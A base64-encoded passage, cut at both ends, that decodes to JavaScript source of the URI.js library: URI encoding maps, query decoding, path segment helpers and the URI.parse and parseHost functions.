1tcXHNcXHJcXG5dfCQvLFxuICAgIC8vIHRyaW0gdHJhaWxpbmcgcHVuY3R1YXRpb24gY2FwdHVyZWQgYnkgZW5kIFJlZ0V4cFxuICAgIHRyaW06IC9bYCEoKVxcW1xcXXt9OzonXCIuLDw+P8KrwrvigJzigJ3igJ7igJjigJldKyQvXG4gIH07XG4gIC8vIGh0dHA6Ly93d3cuaWFuYS5vcmcvYXNzaWdubWVudHMvdXJpLXNjaGVtZXMuaHRtbFxuICAvLyBodHRwOi8vZW4ud2lraXBlZGlhLm9yZy93aWtpL0xpc3Rfb2ZfVENQX2FuZF9VRFBfcG9ydF9udW1iZXJzI1dlbGwta25vd25fcG9ydHNcbiAgVVJJLmRlZmF1bHRQb3J0cyA9IHtcbiAgICBodHRwOiAnODAnLFxuICAgIGh0dHBzOiAnNDQzJyxcbiAgICBmdHA6ICcyMScsXG4gICAgZ29waGVyOiAnNzAnLFxuICAgIHdzOiAnODAnLFxuICAgIHdzczogJzQ0MydcbiAgfTtcbiAgLy8gYWxsb3dlZCBob3N0bmFtZSBjaGFyYWN0ZXJzIGFjY29yZGluZyB0byBSRkMgMzk4NlxuICAvLyBBTFBIQSBESUdJVCBcIi1cIiBcIi5cIiBcIl9cIiBcIn5cIiBcIiFcIiBcIiRcIiBcIiZcIiBcIidcIiBcIihcIiBcIilcIiBcIipcIiBcIitcIiBcIixcIiBcIjtcIiBcIj1cIiAlZW5jb2RlZFxuICAvLyBJJ3ZlIG5ldmVyIHNlZW4gYSAobm9uLUlETikgaG9zdG5hbWUgb3RoZXIgdGhhbjogQUxQSEEgRElHSVQgLiAtXG4gIFVSSS5pbnZhbGlkX2hvc3RuYW1lX2NoYXJhY3RlcnMgPSAvW15hLXpBLVowLTlcXC4tXS87XG4gIC8vIG1hcCBET00gRWxlbWVudHMgdG8gdGhlaXIgVVJJIGF0dHJpYnV0ZVxuICBVUkkuZG9tQXR0cmlidXRlcyA9IHtcbiAgICAnYSc6ICdocmVmJyxcbiAgICAnYmxvY2txdW90ZSc6ICdjaXRlJyxcbiAgICAnbGluayc6ICdocmVmJyxcbiAgICAnYmFzZSc6ICdocmVmJyxcbiAgICAnc2NyaXB0JzogJ3NyYycsXG4gICAgJ2Zvcm0nOiAnYWN0aW9uJyxcbiAgICAnaW1nJzogJ3NyYycsXG4gICAgJ2FyZWEnOiAnaHJlZicsXG4gICAgJ2lmcmFtZSc6ICdzcmMnLFxuICAgICdlbWJlZCc6ICdzcmMnLFxuICAgICdzb3VyY2UnOiAnc3JjJyxcbiAgICAndHJhY2snOiAnc3JjJyxcbiAgICAnaW5wdXQnOiAnc3JjJywgLy8gYnV0IG9ubHkgaWYgdHlwZT1cImltYWdlXCJcbiAgICAnYXVkaW8nOiAnc3JjJyxcbiAgICAndmlkZW8nOiAnc3JjJ1xuICB9O1xuICBVUkkuZ2V0RG9tQXR0cmlidXRlID0gZnVuY3Rpb24obm9kZSkge1xuICAgIGlmICghbm9kZSB8fCAhbm9kZS5ub2RlTmFtZSkge1xuICAgICAgcmV0dXJuIHVuZGVmaW5lZDtcbiAgICB9XG5cbiAgICB2YXIgbm9kZU5hbWUgPSBub2RlLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk7XG4gICAgLy8gPGlucHV0PiBzaG91bGQgb25seSBleHBvc2Ugc3JjIGZvciB0eXBlPVwiaW1hZ2VcIlxuICAgIGlmIChub2RlTmFtZSA9PT0gJ2lucHV0JyAmJiBub2RlLnR5cGUgIT09ICdpbWFnZScpIHtcbiAgICAgIHJldHVybiB1bmRlZmluZWQ7XG4gICAgfVxuXG4gICAgcmV0dXJuIFVSSS5kb21BdHRyaWJ1dGVzW25vZGVOYW1lXTtcbiAgfTtcblxuICBmdW5jdGlvbiBlc2NhcGVGb3JEdW1iRmlyZWZveDM2KHZhbHVlKSB7XG4gICAgLy8gaHR0cHM6Ly9naXRodWIuY29tL21lZGlhbGl6ZS9VUkkuanMvaXNzdWVzLzkxXG4gICAgcmV0dXJuIGVzY2FwZSh2YWx1ZSk7XG4gIH1cblxuICAvLyBlbmNvZGluZyAvIGRlY29kaW5nIGFjY29yZGluZyB0byBSRkMzOTg2XG4gIGZ1bmN0aW9uIHN0cmljdEVuY29kZVVSSUNvbXBvbmVudChzdHJpbmcpIHtcbiAgICAvLyBzZWUgaHR0cHM6Ly9kZXZlbG9wZXIubW96aWxsYS5vcmcvZW4tVVMvZG9jcy9KYXZhU2NyaXB0L1JlZmVyZW5jZS9HbG9iYWxfT2JqZWN0cy9lbmNvZGVVUklDb21wb25lbnRcbiAgICByZXR1cm4gZW5jb2RlVVJJQ29tcG9uZW50KHN0cmluZylcbiAgICAgIC5yZXBsYWNlKC9bIScoKSpdL2csIGVzY2FwZUZvckR1bWJGaXJlZm94MzYpXG4gICAgICAucmVwbGFjZSgvXFwqL2csICclMkEnKTtcbiAgfVxuICBVUkkuZW5jb2RlID0gc3RyaWN0RW5jb2RlVVJJQ29tcG9uZW50O1xuICBVUkkuZGVjb2RlID0gZGVjb2RlVVJJQ29tcG9uZW50O1xuICBVUkkuaXNvODg1OSA9IGZ1bmN0aW9uKCkge1xuICAgIFVSSS5lbmNvZGUgPSBlc2NhcGU7XG4gICAgVVJJLmRlY29kZSA9IHVuZXNjYXBlO1xuICB9O1xuICBVUkkudW5pY29kZSA9IGZ1bmN0aW9uKCkge1xuICAgIFVSSS5lbmNvZGUgPSBzdHJpY3RFbmNvZGVVUklDb21wb25lbnQ7XG4gICAgVVJJLmRlY29kZSA9IGRlY29kZVVSSUNvbXBvbmVudDtcbiAgfTtcbiAgVVJJLmNoYXJhY3RlcnMgPSB7XG4gICAgcGF0aG5hbWU6IHtcbiAgICAgIGVuY29kZToge1xuICAgICAgICAvLyBSRkMzOTg2IDIuMTogRm9yIGNvbnNpc3RlbmN5LCBVUkkgcHJvZHVjZXJzIGFuZCBub3JtYWxpemVycyBzaG91bGRcbiAgICAgICAgLy8gdXNlIHVwcGVyY2FzZSBoZXhhZGVjaW1hbCBkaWdpdHMgZm9yIGFsbCBwZXJjZW50LWVuY29kaW5ncy5cbiAgICAgICAgZXhwcmVzc2lvbjogLyUoMjR8MjZ8MkJ8MkN8M0J8M0R8M0F8NDApL2lnLFxuICAgICAgICBtYXA6IHtcbiAgICAgICAgICAvLyAtLl9+IScoKSpcbiAgICAgICAgICAnJTI0JzogJyQnLFxuICAgICAgICAgICclMjYnOiAnJicsXG4gICAgICAgICAgJyUyQic6ICcrJyxcbiAgICAgICAgICAnJTJDJzogJywnLFxuICAgICAgICAgICclM0InOiAnOycsXG4gICAgICAgICAgJyUzRCc6ICc9JyxcbiAgICAgICAgICAnJTNBJzogJzonLFxuICAgICAgICAgICclNDAnOiAnQCdcbiAgICAgICAgfVxuICAgICAgfSxcbiAgICAgIGRlY29kZToge1xuICAgICAgICBleHByZXNzaW9uOiAvW1xcL1xcPyNdL2csXG4gICAgICAgIG1hcDoge1xuICAgICAgICAgICcvJzogJyUyRicsXG4gICAgICAgICAgJz8nOiAnJTNGJyxcbiAgICAgICAgICAnIyc6ICclMjMnXG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9LFxuICAgIHJlc2VydmVkOiB7XG4gICAgICBlbmNvZGU6IHtcbiAgICAgICAgLy8gUkZDMzk4NiAyLjE6IEZvciBjb25zaXN0ZW5jeSwgVVJJIHByb2R1Y2VycyBhbmQgbm9ybWFsaXplcnMgc2hvdWxkXG4gICAgICAgIC8vIHVzZSB1cHBlcmNhc2UgaGV4YWRlY2ltYWwgZGlnaXRzIGZvciBhbGwgcGVyY2VudC1lbmNvZGluZ3MuXG4gICAgICAgIGV4cHJlc3Npb246IC8lKDIxfDIzfDI0fDI2fDI3fDI4fDI5fDJBfDJCfDJDfDJGfDNBfDNCfDNEfDNGfDQwfDVCfDVEKS9pZyxcbiAgICAgICAgbWFwOiB7XG4gICAgICAgICAgLy8gZ2VuLWRlbGltc1xuICAgICAgICAgICclM0EnOiAnOicsXG4gICAgICAgICAgJyUyRic6ICcvJyxcbiAgICAgICAgICAnJTNGJzogJz8nLFxuICAgICAgICAgICclMjMnOiAnIycsXG4gICAgICAgICAgJyU1Qic6ICdbJyxcbiAgICAgICAgICAnJTVEJzogJ10nLFxuICAgICAgICAgICclNDAnOiAnQCcsXG4gICAgICAgICAgLy8gc3ViLWRlbGltc1xuICAgICAgICAgICclMjEnOiAnIScsXG4gICAgICAgICAgJyUyNCc6ICckJyxcbiAgICAgICAgICAnJTI2JzogJyYnLFxuICAgICAgICAgICclMjcnOiAnXFwnJyxcbiAgICAgICAgICAnJTI4JzogJygnLFxuICAgICAgICAgICclMjknOiAnKScsXG4gICAgICAgICAgJyUyQSc6ICcqJyxcbiAgICAgICAgICAnJTJCJzogJysnLFxuICAgICAgICAgICclMkMnOiAnLCcsXG4gICAgICAgICAgJyUzQic6ICc7JyxcbiAgICAgICAgICAnJTNEJzogJz0nXG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9LFxuICAgIHVybnBhdGg6IHtcbiAgICAgIC8vIFRoZSBjaGFyYWN0ZXJzIHVuZGVyIGBlbmNvZGVgIGFyZSB0aGUgY2hhcmFjdGVycyBjYWxsZWQgb3V0IGJ5IFJGQyAyMTQxIGFzIGJlaW5nIGFjY2VwdGFibGVcbiAgICAgIC8vIGZvciB1c2FnZSBpbiBhIFVSTi4gUkZDMjE0MSBhbHNvIGNhbGxzIG91dCBcIi1cIiwgXCIuXCIsIGFuZCBcIl9cIiBhcyBhY2NlcHRhYmxlIGNoYXJhY3RlcnMsIGJ1dFxuICAgICAgLy8gdGhlc2UgYXJlbid0IGVuY29kZWQgYnkgZW5jb2RlVVJJQ29tcG9uZW50LCBzbyB3ZSBkb24ndCBoYXZlIHRvIGNhbGwgdGhlbSBvdXQgaGVyZS4gQWxzb1xuICAgICAgLy8gbm90ZSB0aGF0IHRoZSBjb2xvbiBjaGFyYWN0ZXIgaXMgbm90IGZlYXR1cmVkIGluIHRoZSBlbmNvZGluZyBtYXA7IHRoaXMgaXMgYmVjYXVzZSBVUkkuanNcbiAgICAgIC8vIGdpdmVzIHRoZSBjb2xvbnMgaW4gVVJOcyBzZW1hbnRpYyBtZWFuaW5nIGFzIHRoZSBkZWxpbWl0ZXJzIG9mIHBhdGggc2VnZW1lbnRzLCBhbmQgc28gaXRcbiAgICAgIC8vIHNob3VsZCBub3QgYXBwZWFyIHVuZW5jb2RlZCBpbiBhIHNlZ21lbnQgaXRzZWxmLlxuICAgICAgLy8gU2VlIGFsc28gdGhlIG5vdGUgYWJvdmUgYWJvdXQgUkZDMzk4NiBhbmQgY2FwaXRhbGFsaXplZCBoZXggZGlnaXRzLlxuICAgICAgZW5jb2RlOiB7XG4gICAgICAgIGV4cHJlc3Npb246IC8lKDIxfDI0fDI3fDI4fDI5fDJBfDJCfDJDfDNCfDNEfDQwKS9pZyxcbiAgICAgICAgbWFwOiB7XG4gICAgICAgICAgJyUyMSc6ICchJyxcbiAgICAgICAgICAnJTI0JzogJyQnLFxuICAgICAgICAgICclMjcnOiAnXFwnJyxcbiAgICAgICAgICAnJTI4JzogJygnLFxuICAgICAgICAgICclMjknOiAnKScsXG4gICAgICAgICAgJyUyQSc6ICcqJyxcbiAgICAgICAgICAnJTJCJzogJysnLFxuICAgICAgICAgICclMkMnOiAnLCcsXG4gICAgICAgICAgJyUzQic6ICc7JyxcbiAgICAgICAgICAnJTNEJzogJz0nLFxuICAgICAgICAgICclNDAnOiAnQCdcbiAgICAgICAgfVxuICAgICAgfSxcbiAgICAgIC8vIFRoZXNlIGNoYXJhY3RlcnMgYXJlIHRoZSBjaGFyYWN0ZXJzIGNhbGxlZCBvdXQgYnkgUkZDMjE0MSBhcyBcInJlc2VydmVkXCIgY2hhcmFjdGVycyB0aGF0XG4gICAgICAvLyBzaG91bGQgbmV2ZXIgYXBwZWFyIGluIGEgVVJOLCBwbHVzIHRoZSBjb2xvbiBjaGFyYWN0ZXIgKHNlZSBub3RlIGFib3ZlKS5cbiAgICAgIGRlY29kZToge1xuICAgICAgICBleHByZXNzaW9uOiAvW1xcL1xcPyM6XS9nLFxuICAgICAgICBtYXA6IHtcbiAgICAgICAgICAnLyc6ICclMkYnLFxuICAgICAgICAgICc/JzogJyUzRicsXG4gICAgICAgICAgJyMnOiAnJTIzJyxcbiAgICAgICAgICAnOic6ICclM0EnXG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gIH07XG4gIFVSSS5lbmNvZGVRdWVyeSA9IGZ1bmN0aW9uKHN0cmluZywgZXNjYXBlUXVlcnlTcGFjZSkge1xuICAgIHZhciBlc2NhcGVkID0gVVJJLmVuY29kZShzdHJpbmcgKyAnJyk7XG4gICAgaWYgKGVzY2FwZVF1ZXJ5U3BhY2UgPT09IHVuZGVmaW5lZCkge1xuICAgICAgZXNjYXBlUXVlcnlTcGFjZSA9IFVSSS5lc2NhcGVRdWVyeVNwYWNlO1xuICAgIH1cblxuICAgIHJldHVybiBlc2NhcGVRdWVyeVNwYWNlID8gZXNjYXBlZC5yZXBsYWNlKC8lMjAvZywgJysnKSA6IGVzY2FwZWQ7XG4gIH07XG4gIFVSSS5kZWNvZGVRdWVyeSA9IGZ1bmN0aW9uKHN0cmluZywgZXNjYXBlUXVlcnlTcGFjZSkge1xuICAgIHN0cmluZyArPSAnJztcbiAgICBpZiAoZXNjYXBlUXVlcnlTcGFjZSA9PT0gdW5kZWZpbmVkKSB7XG4gICAgICBlc2NhcGVRdWVyeVNwYWNlID0gVVJJLmVzY2FwZVF1ZXJ5U3BhY2U7XG4gICAgfVxuXG4gICAgdHJ5IHtcbiAgICAgIHJldHVybiBVUkkuZGVjb2RlKGVzY2FwZVF1ZXJ5U3BhY2UgPyBzdHJpbmcucmVwbGFjZSgvXFwrL2csICclMjAnKSA6IHN0cmluZyk7XG4gICAgfSBjYXRjaChlKSB7XG4gICAgICAvLyB3ZSdyZSBub3QgZ29pbmcgdG8gbWVzcyB3aXRoIHdlaXJkIGVuY29kaW5ncyxcbiAgICAgIC8vIGdpdmUgdXAgYW5kIHJldHVybiB0aGUgdW5kZWNvZGVkIG9yaWdpbmFsIHN0cmluZ1xuICAgICAgLy8gc2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9tZWRpYWxpemUvVVJJLmpzL2lzc3Vlcy84N1xuICAgICAgLy8gc2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9tZWRpYWxpemUvVVJJLmpzL2lzc3Vlcy85MlxuICAgICAgcmV0dXJuIHN0cmluZztcbiAgICB9XG4gIH07XG4gIC8vIGdlbmVyYXRlIGVuY29kZS9kZWNvZGUgcGF0aCBmdW5jdGlvbnNcbiAgdmFyIF9wYXJ0cyA9IHsnZW5jb2RlJzonZW5jb2RlJywgJ2RlY29kZSc6J2RlY29kZSd9O1xuICB2YXIgX3BhcnQ7XG4gIHZhciBnZW5lcmF0ZUFjY2Vzc29yID0gZnVuY3Rpb24oX2dyb3VwLCBfcGFydCkge1xuICAgIHJldHVybiBmdW5jdGlvbihzdHJpbmcpIHtcbiAgICAgIHRyeSB7XG4gICAgICAgIHJldHVybiBVUklbX3BhcnRdKHN0cmluZyArICcnKS5yZXBsYWNlKFVSSS5jaGFyYWN0ZXJzW19ncm91cF1bX3BhcnRdLmV4cHJlc3Npb24sIGZ1bmN0aW9uKGMpIHtcbiAgICAgICAgICByZXR1cm4gVVJJLmNoYXJhY3RlcnNbX2dyb3VwXVtfcGFydF0ubWFwW2NdO1xuICAgICAgICB9KTtcbiAgICAgIH0gY2F0Y2ggKGUpIHtcbiAgICAgICAgLy8gd2UncmUgbm90IGdvaW5nIHRvIG1lc3Mgd2l0aCB3ZWlyZCBlbmNvZGluZ3MsXG4gICAgICAgIC8vIGdpdmUgdXAgYW5kIHJldHVybiB0aGUgdW5kZWNvZGVkIG9yaWdpbmFsIHN0cmluZ1xuICAgICAgICAvLyBzZWUgaHR0cHM6Ly9naXRodWIuY29tL21lZGlhbGl6ZS9VUkkuanMvaXNzdWVzLzg3XG4gICAgICAgIC8vIHNlZSBodHRwczovL2dpdGh1Yi5jb20vbWVkaWFsaXplL1VSSS5qcy9pc3N1ZXMvOTJcbiAgICAgICAgcmV0dXJuIHN0cmluZztcbiAgICAgIH1cbiAgICB9O1xuICB9O1xuXG4gIGZvciAoX3BhcnQgaW4gX3BhcnRzKSB7XG4gICAgVVJJW19wYXJ0ICsgJ1BhdGhTZWdtZW50J10gPSBnZW5lcmF0ZUFjY2Vzc29yKCdwYXRobmFtZScsIF9wYXJ0c1tfcGFydF0pO1xuICAgIFVSSVtfcGFydCArICdVcm5QYXRoU2VnbWVudCddID0gZ2VuZXJhdGVBY2Nlc3NvcigndXJucGF0aCcsIF9wYXJ0c1tfcGFydF0pO1xuICB9XG5cbiAgdmFyIGdlbmVyYXRlU2VnbWVudGVkUGF0aEZ1bmN0aW9uID0gZnVuY3Rpb24oX3NlcCwgX2NvZGluZ0Z1bmNOYW1lLCBfaW5uZXJDb2RpbmdGdW5jTmFtZSkge1xuICAgIHJldHVybiBmdW5jdGlvbihzdHJpbmcpIHtcbiAgICAgIC8vIFdoeSBwYXNzIGluIG5hbWVzIG9mIGZ1bmN0aW9ucywgcmF0aGVyIHRoYW4gdGhlIGZ1bmN0aW9uIG9iamVjdHMgdGhlbXNlbHZlcz8gVGhlXG4gICAgICAvLyBkZWZpbml0aW9ucyBvZiBzb21lIGZ1bmN0aW9ucyAoYnV0IGluIHBhcnRpY3VsYXIsIFVSSS5kZWNvZGUpIHdpbGwgb2NjYXNpb25hbGx5IGNoYW5nZSBkdWVcbiAgICAgIC8vIHRvIFVSSS5qcyBoYXZpbmcgSVNPODg1OSBhbmQgVW5pY29kZSBtb2Rlcy4gUGFzc2luZyBpbiB0aGUgbmFtZSBhbmQgZ2V0dGluZyBpdCB3aWxsIGVuc3VyZVxuICAgICAgLy8gdGhhdCB0aGUgZnVuY3Rpb25zIHdlIHVzZSBoZXJlIGFyZSBcImZyZXNoXCIuXG4gICAgICB2YXIgYWN0dWFsQ29kaW5nRnVuYztcbiAgICAgIGlmICghX2lubmVyQ29kaW5nRnVuY05hbWUpIHtcbiAgICAgICAgYWN0dWFsQ29kaW5nRnVuYyA9IFVSSVtfY29kaW5nRnVuY05hbWVdO1xuICAgICAgfSBlbHNlIHtcbiAgICAgICAgYWN0dWFsQ29kaW5nRnVuYyA9IGZ1bmN0aW9uKHN0cmluZykge1xuICAgICAgICAgIHJldHVybiBVUklbX2NvZGluZ0Z1bmNOYW1lXShVUklbX2lubmVyQ29kaW5nRnVuY05hbWVdKHN0cmluZykpO1xuICAgICAgICB9O1xuICAgICAgfVxuXG4gICAgICB2YXIgc2VnbWVudHMgPSAoc3RyaW5nICsgJycpLnNwbGl0KF9zZXApO1xuXG4gICAgICBmb3IgKHZhciBpID0gMCwgbGVuZ3RoID0gc2VnbWVudHMubGVuZ3RoOyBpIDwgbGVuZ3RoOyBpKyspIHtcbiAgICAgICAgc2VnbWVudHNbaV0gPSBhY3R1YWxDb2RpbmdGdW5jKHNlZ21lbnRzW2ldKTtcbiAgICAgIH1cblxuICAgICAgcmV0dXJuIHNlZ21lbnRzLmpvaW4oX3NlcCk7XG4gICAgfTtcbiAgfTtcblxuICAvLyBUaGlzIHRha2VzIHBsYWNlIG91dHNpZGUgdGhlIGFib3ZlIGxvb3AgYmVjYXVzZSB3ZSBkb24ndCB3YW50LCBlLmcuLCBlbmNvZGVVcm5QYXRoIGZ1bmN0aW9ucy5cbiAgVVJJLmRlY29kZVBhdGggPSBnZW5lcmF0ZVNlZ21lbnRlZFBhdGhGdW5jdGlvbignLycsICdkZWNvZGVQYXRoU2VnbWVudCcpO1xuICBVUkkuZGVjb2RlVXJuUGF0aCA9IGdlbmVyYXRlU2VnbWVudGVkUGF0aEZ1bmN0aW9uKCc6JywgJ2RlY29kZVVyblBhdGhTZWdtZW50Jyk7XG4gIFVSSS5yZWNvZGVQYXRoID0gZ2VuZXJhdGVTZWdtZW50ZWRQYXRoRnVuY3Rpb24oJy8nLCAnZW5jb2RlUGF0aFNlZ21lbnQnLCAnZGVjb2RlJyk7XG4gIFVSSS5yZWNvZGVVcm5QYXRoID0gZ2VuZXJhdGVTZWdtZW50ZWRQYXRoRnVuY3Rpb24oJzonLCAnZW5jb2RlVXJuUGF0aFNlZ21lbnQnLCAnZGVjb2RlJyk7XG5cbiAgVVJJLmVuY29kZVJlc2VydmVkID0gZ2VuZXJhdGVBY2Nlc3NvcigncmVzZXJ2ZWQnLCAnZW5jb2RlJyk7XG5cbiAgVVJJLnBhcnNlID0gZnVuY3Rpb24oc3RyaW5nLCBwYXJ0cykge1xuICAgIHZhciBwb3M7XG4gICAgaWYgKCFwYXJ0cykge1xuICAgICAgcGFydHMgPSB7fTtcbiAgICB9XG4gICAgLy8gW3Byb3RvY29sXCI6Ly9cIlt1c2VybmFtZVtcIjpcInBhc3N3b3JkXVwiQFwiXWhvc3RuYW1lW1wiOlwicG9ydF1cIi9cIj9dW3BhdGhdW1wiP1wicXVlcnlzdHJpbmddW1wiI1wiZnJhZ21lbnRdXG5cbiAgICAvLyBleHRyYWN0IGZyYWdtZW50XG4gICAgcG9zID0gc3RyaW5nLmluZGV4T2YoJyMnKTtcbiAgICBpZiAocG9zID4gLTEpIHtcbiAgICAgIC8vIGVzY2FwaW5nP1xuICAgICAgcGFydHMuZnJhZ21lbnQgPSBzdHJpbmcuc3Vic3RyaW5nKHBvcyArIDEpIHx8IG51bGw7XG4gICAgICBzdHJpbmcgPSBzdHJpbmcuc3Vic3RyaW5nKDAsIHBvcyk7XG4gICAgfVxuXG4gICAgLy8gZXh0cmFjdCBxdWVyeVxuICAgIHBvcyA9IHN0cmluZy5pbmRleE9mKCc/Jyk7XG4gICAgaWYgKHBvcyA+IC0xKSB7XG4gICAgICAvLyBlc2NhcGluZz9cbiAgICAgIHBhcnRzLnF1ZXJ5ID0gc3RyaW5nLnN1YnN0cmluZyhwb3MgKyAxKSB8fCBudWxsO1xuICAgICAgc3RyaW5nID0gc3RyaW5nLnN1YnN0cmluZygwLCBwb3MpO1xuICAgIH1cblxuICAgIC8vIGV4dHJhY3QgcHJvdG9jb2xcbiAgICBpZiAoc3RyaW5nLnN1YnN0cmluZygwLCAyKSA9PT0gJy8vJykge1xuICAgICAgLy8gcmVsYXRpdmUtc2NoZW1lXG4gICAgICBwYXJ0cy5wcm90b2NvbCA9IG51bGw7XG4gICAgICBzdHJpbmcgPSBzdHJpbmcuc3Vic3RyaW5nKDIpO1xuICAgICAgLy8gZXh0cmFjdCBcInVzZXI6cGFzc0Bob3N0OnBvcnRcIlxuICAgICAgc3RyaW5nID0gVVJJLnBhcnNlQXV0aG9yaXR5KHN0cmluZywgcGFydHMpO1xuICAgIH0gZWxzZSB7XG4gICAgICBwb3MgPSBzdHJpbmcuaW5kZXhPZignOicpO1xuICAgICAgaWYgKHBvcyA+IC0xKSB7XG4gICAgICAgIHBhcnRzLnByb3RvY29sID0gc3RyaW5nLnN1YnN0cmluZygwLCBwb3MpIHx8IG51bGw7XG4gICAgICAgIGlmIChwYXJ0cy5wcm90b2NvbCAmJiAhcGFydHMucHJvdG9jb2wubWF0Y2goVVJJLnByb3RvY29sX2V4cHJlc3Npb24pKSB7XG4gICAgICAgICAgLy8gOiBtYXkgYmUgd2l0aGluIHRoZSBwYXRoXG4gICAgICAgICAgcGFydHMucHJvdG9jb2wgPSB1bmRlZmluZWQ7XG4gICAgICAgIH0gZWxzZSBpZiAoc3RyaW5nLnN1YnN0cmluZyhwb3MgKyAxLCBwb3MgKyAzKSA9PT0gJy8vJykge1xuICAgICAgICAgIHN0cmluZyA9IHN0cmluZy5zdWJzdHJpbmcocG9zICsgMyk7XG5cbiAgICAgICAgICAvLyBleHRyYWN0IFwidXNlcjpwYXNzQGhvc3Q6cG9ydFwiXG4gICAgICAgICAgc3RyaW5nID0gVVJJLnBhcnNlQXV0aG9yaXR5KHN0cmluZywgcGFydHMpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgIHN0cmluZyA9IHN0cmluZy5zdWJzdHJpbmcocG9zICsgMSk7XG4gICAgICAgICAgcGFydHMudXJuID0gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cblxuICAgIC8vIHdoYXQncyBsZWZ0IG11c3QgYmUgdGhlIHBhdGhcbiAgICBwYXJ0cy5wYXRoID0gc3RyaW5nO1xuXG4gICAgLy8gYW5kIHdlJ3JlIGRvbmVcbiAgICByZXR1cm4gcGFydHM7XG4gIH07XG4gIFVSSS5wYXJzZUhvc3QgPSBmdW5jdGlvbihzdHJpbmcsIHBhcnRzKSB7XG4gICAgLy8gQ29weSBjaHJvbWUsIElFLCBvcGVyYSBiYWNrc2xhc2gtaGFuZGxpbmcgYmVoYXZpb3IuXG4gICAgLy8gQmFjayBzbGFzaGVzIGJlZm9yZSB0aGUgcXVlcnkgc3RyaW5nIGdldCBjb252ZXJ0ZWQgdG8gZm9yd2FyZCBzbGFzaGVzXG4gICAgLy8gU2VlOiBodHRwczovL2dpdGh1Yi5jb20vam95ZW50L25vZGUvYmxvYi8zODZmZDI0ZjQ5YjBlOWQxYThhMDc2NTkyYTQwNDE2OGZhZWVjYzM0L2xpYi91cmwuanMjTDExNS1MMTI0XG4gICAgLy8gU2VlOiBodHRwczovL2NvZGUuZ29vZ2xlLmNvbS9wL2Nocm9taXVtL2lzc3Vlcy9kZXRhaWw/aWQ9MjU5MTZcbiAgICAvLyBodHRwczovL2dpdGh1Yi5jb20vbWVkaWFsaXplL1VSSS5qcy9wdWxsLzIzM1xuICAgIHN0cmluZyA9IHN0cmluZy5yZXBsYWNlKC9cXFxcL2csICcvJyk7XG5cbiAgICAvLyBleHRyYWN0IGhvc3Q6cG9ydFxuICAgIHZhciBwb3MgPSBzdHJpbmcuaW5kZXhPZignLycpO1xuICAgIHZhciBicmFja2V0UG9zO1xuICAgIHZhciB0O1xuXG4gICAgaWYgKHBvcyA9PT0gLTEpIHtcbiAgICAgIHBvcyA9IHN0cmluZy5sZW5ndGg7XG4gICAgfVxuXG4gICAgaWYgKHN0cmluZy5jaGFyQXQoMCkgPT09ICdbJykge1xuICAgICAgLy8gSVB2NiBob3N0IC0gaHR0cDovL3Rvb2xzLmlldGYub3JnL2h0bWwvZHJhZnQtaWV0Zi02bWFuLXRleHQtYWRkci1yZXByZXNlbnRhdGlvbi0wNCNzZWN0aW9uLTZcbiAgICAgIC8vIEkgY2xhaW0gbW9zdCBjbGllbnQgc29mdHdhcmUgYnJlYWtzIG9uIElQdjYgYW55d2F5cy4gVG8gc2ltcGxpZnkgdGhpbmdzLCBVUkkgb25seSBhY2NlcHRzXG4gICAgICAvLyBJUHY2K3BvcnQgaW4gdGhlIGZvcm1hdCBbMjAwMTpkYjg6OjFdOjgwIChmb3IgdGhlIHRpbWUgYmVpbmcpXG4gICAgICBicmFja2V0UG9zID0gc3RyaW5nLmluZGV4T2YoJ10nKTtcbiAgICAgIHBhcnRzLmhvc3RuYW1lID0gc3RyaW5nLnN1YnN0cmluZygxLCBicmFja2V0UG9zKSB8fCBudWxsO1xuICAgICAgcGFydHMucG9ydCA9IHN0cmluZy5zdWJzdHJpbmcoYnJhY2tldFBvcyArIDIsIHBvcykgfHwgbnVsbDtcbiAgICAgIGlmIChwYXJ0cy5wb3J0ID09PSAnLycpIHtcbiAgICAgICAgcGFydHMucG9ydCA9IG51bGw7XG4gICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgIHZhciBmaXJzdENvbG9uID0gc3RyaW5nLmluZGV4T2YoJzonKTtcbiAgICAgIHZhciBmaXJzdFNsYXNoID0gc3RyaW5nLmluZGV4T2YoJy8nKTtcbiAgICAgIHZhciBuZXh0Q29sb24gPSBzdHJpbmcuaW5kZXhPZignOicsIGZpcnN0Q29sb24gKyAxKTtcbiAgICAgIGlmIChuZXh0Q29sb24gIT09IC0xICYmIChmaXJzdFNsYXNoID09PSAtMSB8fCBuZXh0Q29sb24gPCBmaXJzdFNsYXNoKSkge1xuICAgICAgICAvLyBJUHY2IGhvc3QgY29udGFpbnMgbXVsdGlwbGUgY29sb25zIC0gYnV0IG5vIHBvcnRcbiAgICAgICAgLy8gdGhpcyBub3RhdGlvbiBpcyBhY3R1YWxseSBub3QgYWxsb3dlZCBieSBSRkMgMzk4NiwgYnV0IHdlJ3JlIGEgbGliZXJhbCBwYXJzZXJcbiAgICAgICAgcGFydHMuaG9zdG5hbWUgPSBzdHJpbmcuc3Vic3RyaW5nKDAsIHBvcykgfHwgbnVsbDtcbiAgICAgICAgcGFydHMucG9ydCA9IG51bGw7XG4gICAgICB9IGVsc2Uge1xuICAgICAgICB0ID0gc3RyaW5nLnN1YnN0cmluZygwLCBwb3MpLnNwbGl0KCc6Jyk7XG4gICAgICAgIHBhcnRzLmhvc3RuYW1lID0gdFswXSB8fCBudWxsO1xuICAgICAgICBwYXJ0cy5wb3J0ID0gdFsxXSB8fCBudWxsO1xuICAgICAgfVxuICAgIH1cblxuICAgIGlmIChwYXJ0cy5ob3N0bmFtZSAmJiBzdHJpbmcuc3Vic3RyaW5nKHBvcykuY2hhckF0KDApICE9PSAnLycpIHtcbiAgICAgIHBvcysrO1xuICAgICAgc3RyaW5nID0gJy8nICsgc3RyaW5nO1xuICAgIH1cblxuICAgIHJldHVybiBzdHJpbmcuc3Vic3RyaW5nKHBvcykgfHwgJy8nO1xuICB9O1xuICBVUkkucGFyc2VBdXRob3JpdHkgPSBmdW5jdGlvbihzdHJpbmcsIHBhcnRzKSB7XG4gICAgc3RyaW5nID0gVVJJLnBhcnNlVXNlcmluZm8oc3RyaW5nLCBwYXJ0cyk7XG4gICAgcmV0d